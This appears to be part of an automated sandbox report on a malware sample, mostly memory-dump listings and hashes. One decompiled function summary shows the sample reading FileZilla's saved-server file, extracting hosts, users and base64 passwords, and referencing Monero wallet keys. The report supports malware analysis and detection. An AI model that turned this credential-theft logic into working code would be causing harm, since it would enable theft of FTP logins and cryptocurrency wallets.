                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 23b87471342f6f1c58ea4892999818a4d704ced4d641009a5909c51f93f051e8
                                    • Instruction ID: 8aeec89d4059b112e7fc671cffe303bbed5447955ea51cb9aa42d0f364bb39dd
                                    • Opcode Fuzzy Hash: 23b87471342f6f1c58ea4892999818a4d704ced4d641009a5909c51f93f051e8
                                    • Instruction Fuzzy Hash: D5A13072A10A19CBEB19CF55CCD1A9EBBB1FB54314F19C62AD41AE73A0D334A944CF60
                                    Function 00D14288 Relevance: .2, Instructions: 240COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 143b5be348379f211606af6e5973f90fff61db65041019bd3b0858e73cc7828a
                                    • Instruction ID: 3f76023a0bfd6191aad79545387ebc052f72ba8483ff7ebde1bb57290131c6a0
                                    • Opcode Fuzzy Hash: 143b5be348379f211606af6e5973f90fff61db65041019bd3b0858e73cc7828a
                                    • Instruction Fuzzy Hash: 77A17E72E083119BD308CF25C89075BF7E2EFC8710F1ACA3DA8A997254D774E9419B82
                                    Function 010D853F Relevance: .2, Instructions: 217COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 54060eab983e2b739544f978c6e48b25cec54ee05680abc259edc963f81c09f0
                                    • Instruction ID: f84597b178397490e73a6e3322135cf31f0fa7d1472171b9bcf25dd5cdd10d71
                                    • Opcode Fuzzy Hash: 54060eab983e2b739544f978c6e48b25cec54ee05680abc259edc963f81c09f0
                                    • Instruction Fuzzy Hash: 555169F3E082055BF304A97CDC5477AB6DADBD4320F2B463EEB94D7784E8B998054282
                                    Function 01017221 Relevance: .2, Instructions: 200COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 208e4a368f9edcb59346fa0ddc5d71992a45757013feff2c756e6464b38b4ae2
                                    • Instruction ID: c184ad817c5dd606b440245961f44f32ebe042f958ec8c5c402ad4e1a6cad511
                                    • Opcode Fuzzy Hash: 208e4a368f9edcb59346fa0ddc5d71992a45757013feff2c756e6464b38b4ae2
                                    • Instruction Fuzzy Hash: 7551F3B36086049FE304AE2ADC8573AFBE6EFD4710F16C93DD6C887354EA3558468682
                                    Function 01118B72 Relevance: .2, Instructions: 192COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 815abcbc8e20215d09d90c8e65ba53d2a49d9b80dacd9d2e7b92bcf0d51c3b53
                                    • Instruction ID: 68cddbf037a0f8073778622fbb540300f042fb7d1f7d75b4e32f792d52193c5b
                                    • Opcode Fuzzy Hash: 815abcbc8e20215d09d90c8e65ba53d2a49d9b80dacd9d2e7b92bcf0d51c3b53
                                    • Instruction Fuzzy Hash: E95105B3A083148FE3546E28DC8577AB7E5EF54320F1B453CDAD987780EA3999448787
                                    Function 00D46799 Relevance: .1, Instructions: 131COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
                                    • Instruction ID: dd59a60897f06397dfb3ba9fffeee4d3a5997ceb541623e09d6651e704aef1c6
                                    • Opcode Fuzzy Hash: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
                                    • Instruction Fuzzy Hash: 2D515962E09BD986C7058B7544502EEBFB21FE6200F1E829EC4991B382C2759689D3F6
                                    Function 012012E4 Relevance: .1, Instructions: 103COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 2e69100a549aa16e180e2e68ac0796a9ce853159a41fb066dda6f23ddf551d38
                                    • Instruction ID: 5e39ef86bac98230a9f19cdc3061254a5bd8f64d98143f3f12e2371ccea59d79
                                    • Opcode Fuzzy Hash: 2e69100a549aa16e180e2e68ac0796a9ce853159a41fb066dda6f23ddf551d38
                                    • Instruction Fuzzy Hash: 493177B251C304AFD311BF68DC866AAFBE9EF18710F06492DE6D4C7610E679A5408A87
                                    Function 00D17588 Relevance: .0, Instructions: 15COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
                                    • Instruction ID: 4d4380f719737e920eca18c290049424b63e8615d1407fedd07d3ef3da97591e
                                    • Opcode Fuzzy Hash: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
                                    • Instruction Fuzzy Hash: E5D0C9716097114FC3688F1EB440946FAE8DBD8320715C53FA09AC3750C6B094418B54
                                    Function 00CE9AA0 Relevance: .0, Instructions: 15COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                    • Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
                                    • Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                    • Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90
                                    Function 00CE03B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CE8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CE8F9B
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CDA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                      • Part of subcall function 00CDA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                      • Part of subcall function 00CDA110: LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                      • Part of subcall function 00CDA110: ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                      • Part of subcall function 00CDA110: LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                      • Part of subcall function 00CDA110: CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                      • Part of subcall function 00CE8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CE8FE2
                                    • GetProcessHeap.KERNEL32(00000000,000F423F,00CF0DBF,00CF0DBE,00CF0DBB,00CF0DBA), ref: 00CE04C2
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE04C9
                                    • StrStrA.SHLWAPI(00000000,<Host>), ref: 00CE04E5
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE04F3
                                    • StrStrA.SHLWAPI(00000000,<Port>), ref: 00CE052F
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE053D
                                    • StrStrA.SHLWAPI(00000000,<User>), ref: 00CE0579
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE0587
                                    • StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00CE05C3
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE05D5
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE0662
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE067A
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE0692
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE06AA
                                    • lstrcat.KERNEL32(?,browser: FileZilla), ref: 00CE06C2
                                    • lstrcat.KERNEL32(?,profile: null), ref: 00CE06D1
                                    • lstrcat.KERNEL32(?,url: ), ref: 00CE06E0
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE06F3
                                    • lstrcat.KERNEL32(?,00CF1770), ref: 00CE0702
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE0715
                                    • lstrcat.KERNEL32(?,00CF1774), ref: 00CE0724
                                    • lstrcat.KERNEL32(?,login: ), ref: 00CE0733
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE0746
                                    • lstrcat.KERNEL32(?,00CF1780), ref: 00CE0755
                                    • lstrcat.KERNEL32(?,password: ), ref: 00CE0764
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE0777
                                    • lstrcat.KERNEL32(?,00CF1790), ref: 00CE0786
                                    • lstrcat.KERNEL32(?,00CF1794), ref: 00CE0795
                                    • lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CF0DB7), ref: 00CE07EE
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
                                    • String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
                                    • API String ID: 1942843190-555421843
                                    • Opcode ID: 7310ff4dc93fa8f368e2e35d3dbc23725c78bfd0c77203e031e69c462dfbf497
                                    • Instruction ID: a8117cf115051696bd733ca45931e7871103f5e1fdcf3dbacf2108e3b3b4b69b
                                    • Opcode Fuzzy Hash: 7310ff4dc93fa8f368e2e35d3dbc23725c78bfd0c77203e031e69c462dfbf497
